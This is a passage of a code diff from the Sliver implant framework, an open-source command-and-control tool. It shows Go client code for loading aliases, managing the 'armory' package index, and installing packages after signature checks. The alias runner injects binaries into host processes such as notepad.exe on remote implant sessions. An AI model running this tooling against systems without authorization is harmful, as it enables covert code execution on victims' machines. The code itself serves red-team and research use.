return nil
}
for _, aliasFile := range manifest.Files {
if aliasFile.Path != "" {
err := installArtifact(aliasGzFilePath, installPath, aliasFile.Path, con)
if err != nil {
con.PrintErrorf("\nFailed to install file: %s\n", err)
forceRemoveAll(installPath)
return nil
}
}
}
con.Printf("done!\n")
return &installPath
}
func installArtifact(aliasGzFilePath string, installPath, artifactPath string, con *console.SliverConsoleClient) error {
data, err := util.ReadFileFromTarGz(aliasGzFilePath, artifactPath)
if err != nil {
return err
}
localArtifactPath := filepath.Join(installPath, util.ResolvePath(artifactPath))
artifactDir := filepath.Dir(localArtifactPath)
if _, err := os.Stat(artifactDir); os.IsNotExist(err) {
os.MkdirAll(artifactDir, 0o700)
}
err = ioutil.WriteFile(localArtifactPath, data, 0o600)
if err != nil {
return err
}
return nil
}
func forceRemoveAll(rootPath string) {
util.ChmodR(rootPath, 0o600, 0o700)
os.RemoveAll(rootPath)
}
+364
View File
@@ -0,0 +1,364 @@
package alias
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"encoding/json"
"fmt"
"io/ioutil"
"os"
"path"
"path/filepath"
"strings"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util"
"github.com/desertbit/grumble"
)
const (
defaultTimeout = 60
ManifestFileName = "alias.json"
windowsDefaultHostProc = `c:\windows\system32\notepad.exe`
linuxDefaultHostProc = "/bin/bash"
macosDefaultHostProc = "/Applications/Safari.app/Contents/MacOS/SafariForWebKitDevelopment"
)
var (
// alias name -> manifest/command
loadedAliases = map[string]*loadedAlias{}
defaultHostProc = map[string]string{
"windows": windowsDefaultHostProc,
"linux": windowsDefaultHostProc,
"darwin": macosDefaultHostProc,
}
)
// Ties the manifest struct to the command struct
type loadedAlias struct {
Manifest *AliasManifest
Command *grumble.Command
}
type AliasFile struct {
OS string `json:"os"`
Arch string `json:"arch"`
Path string `json:"path"`
}
type AliasManifest struct {
Name string `json:"name"`
Version string `json:"version"`
CommandName string `json:"command_name"`
OriginalAuthor string `json:"original_author"`
RepoURL string `json:"repo_url"`
Help string `json:"help"`
LongHelp string `json:"long_help"`
Entrypoint string `json:"entrypoint"`
AllowArgs bool `json:"allow_args"`
DefaultArgs string `json:"default_args"`
Files []*AliasFile `json:"files"`
IsReflective bool `json:"is_reflective"`
IsAssembly bool `json:"is_assembly"`
RootPath string `json:"-"`
}
func (ec *AliasManifest) getDefaultProcess(targetOS string) (proc string, err error) {
proc, ok := defaultHostProc[targetOS]
if !ok {
err = fmt.Errorf("no default process for %s target, please specify one", targetOS)
}
return
}
func (a *AliasManifest) getFileForTarget(cmdName string, targetOS string, targetArch string) (string, error) {
var filePath string
var err error
for _, ef := range a.Files {
if targetOS == ef.OS && targetArch == ef.Arch {
filePath = ef.Path
break
}
}
if filePath == "" {
err = fmt.Errorf("no alias file found for %s/%s", targetOS, targetArch)
}
return filePath, err
}
// AliasesLoadCmd - Locally load a alias into the Sliver shell.
func AliasesLoadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
dirPath := ctx.Args.String("dir-path")
alias, err := LoadAlias(dirPath, con)
if err != nil {
con.PrintErrorf("Failed to load alias: %s\n", err)
} else {
con.PrintInfof("%s alias has been loaded\n", alias.Name)
}
}
// LoadAlias - Load an alias into the Sliver shell from a given directory
func LoadAlias(dirPath string, con *console.SliverConsoleClient) (*AliasManifest, error) {
// retrieve alias manifest
var err error
dirPath, err = filepath.Abs(dirPath)
if err != nil {
return nil, err
}
// parse it
manifestPath := filepath.Join(dirPath, ManifestFileName)
data, err := ioutil.ReadFile(manifestPath)
if err != nil {
return nil, err
}
alias, err := ParseAliasManifest(data)
if err != nil {
return nil, err
}
alias.RootPath = filepath.Dir(manifestPath)
// for each alias command, add a new app command
// do not add if the command already exists
if cmdExists(alias.CommandName, con.App) {
return nil, fmt.Errorf("'%s' command already exists", alias.CommandName)
}
helpMsg := fmt.Sprintf("[%s] %s", alias.Name, alias.Help)
addAliasCmd := &grumble.Command{
Name: alias.Name,
Help: helpMsg,
LongHelp: help.FormatHelpTmpl(alias.LongHelp),
Run: func(extCtx *grumble.Context) error {
con.Println()
runAliasCommand(extCtx, con)
con.Println()
return nil
},
Flags: func(f *grumble.Flags) {
if alias.IsAssembly {
f.String("m", "method", "", "Optional method (a method is required for a .NET DLL)")
f.String("c", "class", "", "Optional class name (required for .NET DLL)")
f.String("d", "app-domain", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
}
f.String("p", "process", "", "Path to process to host the shared object")
f.Bool("s", "save", false, "Save output to disk")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
a.StringList("arguments", "arguments", grumble.Default([]string{}))
},
HelpGroup: consts.AliasHelpGroup,
}
con.App.AddCommand(addAliasCmd)
// Have to use a global map here, as passing the aliasCmd
// either by value or by ref fucks things up
loadedAliases[alias.Name] = &loadedAlias{
Manifest: alias,
Command: addAliasCmd,
}
return alias, nil
}
func ParseAliasManifest(data []byte) (*AliasManifest, error) {
// parse it
alias := &AliasManifest{}
err := json.Unmarshal(data, alias)
if err != nil {
return nil, err
}
if alias.Name == "" {
return nil, fmt.Errorf("missing alias name in manifest")
}
if alias.CommandName == "" {
return nil, fmt.Errorf("missing command.name in alias manifest")
}
if alias.Help == "" {
return nil, fmt.Errorf("missing command.help in alias manifest")
}
for _, aliasFile := range alias.Files {
if aliasFile.OS == "" {
return nil, fmt.Errorf("missing command.files.os in alias manifest")
}
aliasFile.OS = strings.ToLower(aliasFile.OS)
if aliasFile.Arch == "" {
return nil, fmt.Errorf("missing command.files.arch in alias manifest")
}
aliasFile.Arch = strings.ToLower(aliasFile.Arch)
aliasFile.Path = util.ResolvePath(aliasFile.Path)
if aliasFile.Path == "" || aliasFile.Path == "/" {
return nil, fmt.Errorf("missing command.files.path in alias manifest")
}
}
return alias, nil
}
func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
loadedAlias, ok := loadedAliases[ctx.Command.Name]
if !ok {
con.PrintErrorf("No alias found for `%s` command\n", ctx.Command.Name)
return
}
alias := loadedAlias.Manifest
binPath, err := alias.getFileForTarget(ctx.Command.Name, session.GetOS(), session.GetArch())
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
args := ctx.Args.StringList("arguments")
var extArgs string
if len(alias.DefaultArgs) != 0 && len(args) == 0 {
extArgs = alias.DefaultArgs
} else {
extArgs = strings.Join(args, " ")
}
entryPoint := alias.Entrypoint
processName := ctx.Flags.String("process")
if processName == "" {
processName, err = alias.getDefaultProcess(session.GetOS())
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
isDLL := false
if filepath.Ext(binPath) == ".dll" {
isDLL = true
}
binData, err := ioutil.ReadFile(binPath)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
var outFilePath *os.File
if ctx.Flags.Bool("save") {
outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
outFilePath, err = ioutil.TempFile("", outFile)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
if alias.IsAssembly {
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
con.SpinUntil(msg, ctrl)
executeAssemblyResp, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
Request: con.ActiveTarget.Request(ctx),
IsDLL: isDLL,
Process: processName,
Arguments: extArgs,
Assembly: binData,
Arch: ctx.Flags.String("arch"),
Method: ctx.Flags.String("method"),
ClassName: ctx.Flags.String("class"),
AppDomain: ctx.Flags.String("app-domain"),
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Output:\n%s", string(executeAssemblyResp.GetOutput()))
if outFilePath != nil {
outFilePath.Write(executeAssemblyResp.GetOutput())
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
} else if alias.IsReflective {
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
con.SpinUntil(msg, ctrl)
spawnDllResp, err := con.Rpc.SpawnDll(context.Background(), &sliverpb.InvokeSpawnDllReq{
Request: con.ActiveTarget.Request(ctx),
Args: strings.Trim(extArgs, " "),
Data: binData,
ProcessName: processName,
EntryPoint: alias.Entrypoint,
Kill: true,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Output:\n%s", spawnDllResp.GetResult())
if outFilePath != nil {
outFilePath.Write([]byte(spawnDllResp.GetResult()))
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
} else {
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
con.SpinUntil(msg, ctrl)
sideloadResp, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
Request: con.ActiveTarget.Request(ctx),
Args: extArgs,
Data: binData,
EntryPoint: entryPoint,
ProcessName: processName,
Kill: true,
IsDLL: isDLL,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Output:\n%s", sideloadResp.GetResult())
if outFilePath != nil {
outFilePath.Write([]byte(sideloadResp.GetResult()))
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
}
}
func cmdExists(name string, app *grumble.App) bool {
for _, c := range app.Commands().All() {
if name == c.Name {
return true
}
}
return false
}
+75
View File
@@ -0,0 +1,75 @@
package alias
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"errors"
"fmt"
"os"
"path/filepath"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/console"
"github.com/desertbit/grumble"
)
// AliasesRemoveCmd - Locally load a alias into the Sliver shell.
func AliasesRemoveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
name := ctx.Args.String("name")
if name == "" {
con.PrintErrorf("Extension name is required\n")
return
}
confirm := false
prompt := &survey.Confirm{Message: fmt.Sprintf("Remove '%s' alias?", name)}
survey.AskOne(prompt, &confirm)
if !confirm {
return
}
err := RemoveAliasByCommandName(name, con)
if err != nil {
con.PrintErrorf("Error removing alias: %s\n", err)
return
} else {
con.PrintInfof("Alias '%s' removed\n", name)
}
}
// RemoveAliasByCommandName - Remove an alias by command name
func RemoveAliasByCommandName(commandName string, con *console.SliverConsoleClient) error {
if commandName == "" {
return errors.New("command name is required")
}
if _, ok := loadedAliases[commandName]; !ok {
return errors.New("alias not loaded")
}
delete(loadedAliases, commandName)
con.App.Commands().Remove(commandName)
extPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(commandName))
if _, err := os.Stat(extPath); os.IsNotExist(err) {
return nil
}
err := os.RemoveAll(extPath)
if err != nil {
return err
}
return nil
}
+453
View File
@@ -0,0 +1,453 @@
package armory
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"encoding/base64"
"errors"
"fmt"
"net/url"
"strings"
"sync"
"time"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/alias"
"github.com/bishopfox/sliver/client/command/extensions"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/server/cryptography/minisign"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
)
type ArmoryIndex struct {
Aliases []*ArmoryPackage `json:"aliases"`
Extensions []*ArmoryPackage `json:"extensions"`
Bundles []*ArmoryBundle `json:"bundles"`
}
type ArmoryPackage struct {
Name string `json:"name"`
CommandName string `json:"command_name"`
RepoURL string `json:"repo_url"`
PublicKey string `json:"public_key"`
IsAlias bool `json:"-"`
}
type ArmoryBundle struct {
Name string `json:"name"`
Packages []string `json:"packages"`
}
type ArmoryHTTPConfig struct {
IgnoreCache bool
ProxyURL *url.URL
Timeout time.Duration
DisableTLSValidation bool
}
type indexCacheEntry struct {
RepoURL string
Fetched time.Time
Index ArmoryIndex
LastErr error
}
type pkgCacheEntry struct {
RepoURL string
Fetched time.Time
Pkg ArmoryPackage
Sig minisign.Signature
Alias *alias.AliasManifest
Extension *extensions.ExtensionManifest
LastErr error
}
var (
// public key -> armoryCacheEntry
indexCache = sync.Map{}
// public key -> armoryPkgCacheEntry
pkgCache = sync.Map{}
cacheTime = time.Hour // This will kill a download if exceeded so needs to be large
defaultTimeout = 15 * time.Minute
)
// ArmoryCmd - The main armory command
func ArmoryCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
armoriesConfig := assets.GetArmoriesConfig()
con.PrintInfof("Fetching %d armory index(es) ... ", len(armoriesConfig))
clientConfig := parseArmoryHTTPConfig(ctx)
indexes := fetchIndexes(armoriesConfig, clientConfig)
if len(indexes) != len(armoriesConfig) {
con.Printf("errors!\n")
indexCache.Range(func(key, value interface{}) bool {
cacheEntry := value.(indexCacheEntry)
if cacheEntry.LastErr != nil {
con.PrintErrorf("%s: %s\n", cacheEntry.RepoURL, cacheEntry.LastErr)
}
return true
})
} else {
con.Printf("done!\n")
}
if 0 < len(indexes) {
con.PrintInfof("Fetching package information ... ")
fetchPackageSignatures(indexes, clientConfig)
errorCount := 0
aliases := []*alias.AliasManifest{}
exts := []*extensions.ExtensionManifest{}
pkgCache.Range(func(key, value interface{}) bool {
cacheEntry := value.(pkgCacheEntry)
if cacheEntry.LastErr != nil {
errorCount++
if errorCount == 0 {
con.Printf("errors!\n")
}
con.PrintErrorf("%s: %s\n", cacheEntry.RepoURL, cacheEntry.LastErr)
} else {
if cacheEntry.Pkg.IsAlias {
aliases = append(aliases, cacheEntry.Alias)
} else {
exts = append(exts, cacheEntry.Extension)
}
}
return true
})
if errorCount == 0 {
con.Printf("done!\n")
}
if 0 < len(aliases) || 0 < len(exts) {
con.Println()
PrintArmoryPackages(aliases, exts, con)
} else {
con.PrintInfof("No packages found\n")
}
con.Println()
bundles := bundlesInCache()
if 0 < len(bundles) {
PrintArmoryBundles(bundles, con)
} else {
con.PrintInfof("No bundles found\n")
}
} else {
con.PrintInfof("No indexes found\n")
}
}
func refresh(clientConfig ArmoryHTTPConfig) {
armoriesConfig := assets.GetArmoriesConfig()
indexes := fetchIndexes(armoriesConfig, clientConfig)
fetchPackageSignatures(indexes, clientConfig)
}
func packagesInCache() ([]*alias.AliasManifest, []*extensions.ExtensionManifest) {
aliases := []*alias.AliasManifest{}
exts := []*extensions.ExtensionManifest{}
pkgCache.Range(func(key, value interface{}) bool {
cacheEntry := value.(pkgCacheEntry)
if cacheEntry.LastErr == nil {
if cacheEntry.Pkg.IsAlias {
aliases = append(aliases, cacheEntry.Alias)
} else {
exts = append(exts, cacheEntry.Extension)
}
}
return true
})
return aliases, exts
}
func bundlesInCache() []*ArmoryBundle {
bundles := []*ArmoryBundle{}
indexCache.Range(func(key, value interface{}) bool {
indexBundles := value.(indexCacheEntry).Index.Bundles
bundles = append(bundles, indexBundles...)
return true
})
return bundles
}
// AliasExtensionOrBundleCompleter - Completer for alias, extension, and bundle names
func AliasExtensionOrBundleCompleter(prefix string, args []string, con *console.SliverConsoleClient) []string {
results := []string{}
aliases, exts := packagesInCache()
bundles := bundlesInCache()
for _, alias := range aliases {
if strings.HasPrefix(alias.CommandName, prefix) {
results = append(results, alias.CommandName)
}
}
for _, extension := range exts {
if strings.HasPrefix(extension.CommandName, prefix) {
results = append(results, extension.CommandName)
}
}
for _, bundle := range bundles {
if strings.HasPrefix(bundle.Name, prefix) {
results = append(results, bundle.Name)
}
}
return results
}
// PrintArmoryPackages - Prints the armory packages
func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.ExtensionManifest, con *console.SliverConsoleClient) {
type pkgInfo struct {
CommandName string
Version string
Type string
Help string
URL string
}
entries := []pkgInfo{}
for _, alias := range aliases {
entries = append(entries, pkgInfo{
CommandName: alias.CommandName,
Version: alias.Version,
Type: "Alias",
Help: alias.Help,
URL: alias.RepoURL,
})
}
for _, extension := range exts {
entries = append(entries, pkgInfo{
CommandName: extension.CommandName,
Version: extension.Version,
Type: "Extension",
Help: extension.Help,
URL: extension.RepoURL,
})
}
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.SetTitle(console.Bold + "Packages" + console.Normal)
tw.AppendHeader(table.Row{
"Command Name",
"Version",
"Type",
"Help",
"URL",
})
tw.SortBy([]table.SortBy{
{Name: "Command Name", Mode: table.Asc},
})
for _, pkg := range entries {
color := console.Normal
if extensions.CmdExists(pkg.CommandName, con.App) {
color = console.Green
}
tw.AppendRow(table.Row{
fmt.Sprintf(color+"%s"+console.Normal, pkg.CommandName),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Version),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Type),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Help),
fmt.Sprintf(color+"%s"+console.Normal, pkg.URL),
})
}
con.Printf("%s\n", tw.Render())
}
// PrintArmoryBundles - Prints the armory bundles
func PrintArmoryBundles(bundles []*ArmoryBundle, con *console.SliverConsoleClient) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.SetTitle(console.Bold + "Bundles" + console.Normal)
tw.AppendHeader(table.Row{
"Name",
"Contains",
})
tw.SortBy([]table.SortBy{
{Name: "Name", Mode: table.Asc},
})
for _, bundle := range bundles {
tw.AppendRow(table.Row{
bundle.Name,
strings.Join(bundle.Packages, ", "),
})
}
con.Printf("%s\n", tw.Render())
}
func parseArmoryHTTPConfig(ctx *grumble.Context) ArmoryHTTPConfig {
var proxyURL *url.URL
rawProxyURL := ctx.Flags.String("proxy")
if rawProxyURL != "" {
proxyURL, _ = url.Parse(rawProxyURL)
}
timeout := defaultTimeout
rawTimeout := ctx.Flags.String("timeout")
if rawTimeout != "" {
var err error
timeout, err = time.ParseDuration(rawTimeout)
if err != nil {
timeout = defaultTimeout
}
}
return ArmoryHTTPConfig{
IgnoreCache: ctx.Flags.Bool("ignore-cache"),
ProxyURL: proxyURL,
Timeout: timeout,
DisableTLSValidation: ctx.Flags.Bool("insecure"),
}
}
// fetch armory indexes, only returns indexes that were fetched successfully
// errors are still in the cache objects however and can be checked
func fetchIndexes(armoryConfigs []*assets.ArmoryConfig, clientConfig ArmoryHTTPConfig) []ArmoryIndex {
wg := &sync.WaitGroup{}
for _, armoryConfig := range armoryConfigs {
wg.Add(1)
go fetchIndex(armoryConfig, clientConfig, wg)
}
wg.Wait()
indexes := []ArmoryIndex{}
indexCache.Range(func(key, value interface{}) bool {
cacheEntry := value.(indexCacheEntry)
if cacheEntry.LastErr == nil {
indexes = append(indexes, cacheEntry.Index)
}
return true
})
return indexes
}
func fetchIndex(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig, wg *sync.WaitGroup) {
defer wg.Done()
cacheEntry, ok := indexCache.Load(armoryConfig.PublicKey)
if ok {
cached := cacheEntry.(indexCacheEntry)
if time.Since(cached.Fetched) < cacheTime && cached.LastErr == nil && !clientConfig.IgnoreCache {
return
}
}
armoryResult := &indexCacheEntry{RepoURL: armoryConfig.RepoURL}
defer func() {
armoryResult.Fetched = time.Now()
indexCache.Store(armoryConfig.PublicKey, *armoryResult)
}()
repoURL, err := url.Parse(armoryConfig.RepoURL)
if err != nil {
armoryResult.LastErr = err
return
}
if repoURL.Scheme != "https" && repoURL.Scheme != "http" {
armoryResult.LastErr = errors.New("invalid URL scheme")
return
}
var index *ArmoryIndex
if indexParser, ok := indexParsers[repoURL.Hostname()]; ok {
index, err = indexParser(armoryConfig, clientConfig)
} else {
index, err = DefaultArmoryIndexParser(armoryConfig, clientConfig)
}
if index != nil {
armoryResult.Index = *index
}
armoryResult.LastErr = err
}
func fetchPackageSignatures(indexes []ArmoryIndex, clientConfig ArmoryHTTPConfig) {
wg := &sync.WaitGroup{}
for _, index := range indexes {
for _, armoryPkg := range index.Extensions {
wg.Add(1)
armoryPkg.IsAlias = false
go fetchPackageSignature(wg, armoryPkg, clientConfig)
}
for _, armoryPkg := range index.Aliases {
wg.Add(1)
armoryPkg.IsAlias = true
go fetchPackageSignature(wg, armoryPkg, clientConfig)
}
}
wg.Wait()
}
func fetchPackageSignature(wg *sync.WaitGroup, armoryPkg *ArmoryPackage, clientConfig ArmoryHTTPConfig) {
defer wg.Done()
cacheEntry, ok := pkgCache.Load(armoryPkg.CommandName)
if ok {
cached := cacheEntry.(pkgCacheEntry)
if time.Since(cached.Fetched) < cacheTime && cached.LastErr == nil && !clientConfig.IgnoreCache {
return
}
}
pkgCacheEntry := &pkgCacheEntry{RepoURL: armoryPkg.RepoURL}
defer func() {
pkgCacheEntry.Fetched = time.Now()
pkgCache.Store(armoryPkg.CommandName, *pkgCacheEntry)
}()
repoURL, err := url.Parse(armoryPkg.RepoURL)
if err != nil {
pkgCacheEntry.LastErr = err
return
}
if repoURL.Scheme != "https" && repoURL.Scheme != "http" {
pkgCacheEntry.LastErr = errors.New("invalid URL scheme")
return
}
var sig *minisign.Signature
if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
sig, _, err = pkgParser(armoryPkg, true, clientConfig)
} else {
sig, _, err = DefaultArmoryPkgParser(armoryPkg, true, clientConfig)
}
if err != nil {
pkgCacheEntry.LastErr = err
return
}
if sig != nil {
pkgCacheEntry.Sig = *sig
} else {
pkgCacheEntry.LastErr = errors.New("nil signature")
return
}
if armoryPkg != nil {
pkgCacheEntry.Pkg = *armoryPkg
}
if err == nil {
manifestData, err := base64.StdEncoding.DecodeString(sig.TrustedComment)
if err != nil {
pkgCacheEntry.LastErr = err
return
}
if armoryPkg.IsAlias {
pkgCacheEntry.Alias, err = alias.ParseAliasManifest(manifestData)
} else {
pkgCacheEntry.Extension, err = extensions.ParseExtensionManifest(manifestData)
}
pkgCacheEntry.LastErr = err
}
}
+1
View File
@@ -0,0 +1 @@
package armory
+276
View File
@@ -0,0 +1,276 @@
package armory
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"errors"
"fmt"
"io/ioutil"
"net/url"
"os"
"path/filepath"
"github.com/bishopfox/sliver/client/command/alias"
"github.com/bishopfox/sliver/client/command/extensions"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/server/cryptography/minisign"
"github.com/desertbit/grumble"
)
var (
ErrPackageNotFound = errors.New("package not found")
)
// ArmoryInstallCmd - The armory install command
func ArmoryInstallCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
name := ctx.Args.String("name")
if name == "" {
con.PrintErrorf("A package or bundle name is required")
return
}
clientConfig := parseArmoryHTTPConfig(ctx)
refresh(clientConfig)
err := installPackageByName(name, clientConfig, con)
if err == nil {
return
}
if err == ErrPackageNotFound {
bundles := bundlesInCache()
for _, bundle := range bundles {
if bundle.Name == name {
installBundle(bundle, clientConfig, con)
return
}
}
}
con.PrintErrorf("No package or bundle named '%s' was found", name)
}
func installBundle(bundle *ArmoryBundle, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) {
for _, pkgName := range bundle.Packages {
err := installExtensionPackageByName(pkgName, clientConfig, con)
if err != nil {
con.PrintErrorf("Failed to install '%s': %s", pkgName, err)
}
}
}
func installPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) error {
aliases, extensions := packagesInCache()
for _, alias := range aliases {
if alias.CommandName == name {
installAlias(alias, clientConfig, con)
return nil
}
}
for _, ext := range extensions {
if ext.CommandName == name {
installExtension(ext, clientConfig, con)
return nil
}
}
return ErrPackageNotFound
}
func installAlias(alias *alias.AliasManifest, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) {
err := installAliasPackageByName(alias.CommandName, clientConfig, con)
if err != nil {
con.PrintErrorf("Failed to install alias '%s': %s", alias.CommandName, err)
return
}
}
func installAliasPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) error {
var entry *pkgCacheEntry
pkgCache.Range(func(key, value interface{}) bool {
cacheEntry := value.(pkgCacheEntry)
if cacheEntry.Pkg.CommandName == name {
entry = &cacheEntry
return false
}
return true
})
if entry == nil {
return errors.New("package not found")
}
repoURL, err := url.Parse(entry.RepoURL)
if err != nil {
return err
}
var sig *minisign.Signature
var tarGz []byte
if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
sig, tarGz, err = pkgParser(&entry.Pkg, false, clientConfig)
} else {
sig, tarGz, err = DefaultArmoryPkgParser(&entry.Pkg, false, clientConfig)
}
if err != nil {
return err
}
var publicKey minisign.PublicKey
publicKey.UnmarshalText([]byte(entry.Pkg.PublicKey))
rawSig, _ := sig.MarshalText()
valid := minisign.Verify(publicKey, tarGz, []byte(rawSig))
if !valid {
return errors.New("signature verification failed")
}
tmpFile, err := ioutil.TempFile("", "sliver-armory-")
if err != nil {
return err
}
defer os.Remove(tmpFile.Name())
_, err = tmpFile.Write(tarGz)
if err != nil {
return err
}
tmpFile.Close()
installPath := alias.InstallFromFile(tmpFile.Name(), true, con)
if installPath == nil {
return errors.New("failed to install alias")
}
_, err = alias.LoadAlias(filepath.Join(*installPath, alias.ManifestFileName), con)
if err != nil {
return err
}
return nil
}
func installExtension(ext *extensions.ExtensionManifest, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) {
deps := make(map[string]struct{})
resolveExtensionPackageDependencies(ext.CommandName, deps, clientConfig, con)
for dep := range deps {
if extensions.CmdExists(dep, con.App) {
continue // Dependency is already installed
}
err := installExtensionPackageByName(dep, clientConfig, con)
if err != nil {
con.PrintErrorf("Failed to install extension dependency '%s': %s", dep, err)
return
}
}
err := installExtensionPackageByName(ext.CommandName, clientConfig, con)
if err != nil {
con.PrintErrorf("Failed to install extension '%s': %s", ext.CommandName, err)
return
}
}
const maxDepDepth = 10 // Arbitrary recursive limit for dependencies
func resolveExtensionPackageDependencies(name string, deps map[string]struct{}, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) {
var entry *pkgCacheEntry
pkgCache.Range(func(key, value interface{}) bool {
cacheEntry := value.(pkgCacheEntry)
if cacheEntry.Pkg.CommandName == name {
entry = &cacheEntry
return false
}
return true
})
if entry == nil {
return
}
if entry.Extension.DependsOn == "" {
return // Avoid adding empty dependency
}
if entry.Extension.DependsOn == name {
return // Avoid infinite loop of something that depends on itself
}
// We also need to look out for circular dependencies, so if we've already
// seen this dependency, we stop resolving
if _, ok := deps[entry.Extension.DependsOn]; ok {
return // Already resolved
}
if maxDepDepth < len(deps) {
return
}
deps[entry.Extension.DependsOn] = struct{}{}
resolveExtensionPackageDependencies(entry.Extension.DependsOn, deps, clientConfig, con)
}
func installExtensionPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) error {
var entry *pkgCacheEntry
pkgCache.Range(func(key, value interface{}) bool {
cacheEntry := value.(pkgCacheEntry)
if cacheEntry.Pkg.CommandName == name {
entry = &cacheEntry
return false
}
return true
})
if entry == nil {
return errors.New("package not found")
}
repoURL, err := url.Parse(entry.RepoURL)
if err != nil {
return err
}
var sig *minisign.Signature
var tarGz []byte
if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
sig, tarGz, err = pkgParser(&entry.Pkg, false, clientConfig)
} else {
sig, tarGz, err = DefaultArmoryPkgParser(&entry.Pkg, false, clientConfig)
}
if err != nil {
return err
}
var publicKey minisign.PublicKey
publicKey.UnmarshalText([]byte(entry.Pkg.PublicKey))
rawSig, _ := sig.MarshalText()
valid := minisign.Verify(publicKey, tarGz, []byte(rawSig))
if !valid {
return errors.New("signature verification failed")
}
tmpFile, err := ioutil.TempFile("", "sliver-armory-")
if err != nil {
return err
}
defer os.Remove(tmpFile.Name())
_, err = tmpFile.Write(tarGz)
if err != nil {
return err
}
tmpFile.Close()
installPath := extensions.InstallFromFilePath(tmpFile.Name(), true, con)
if installPath == nil {
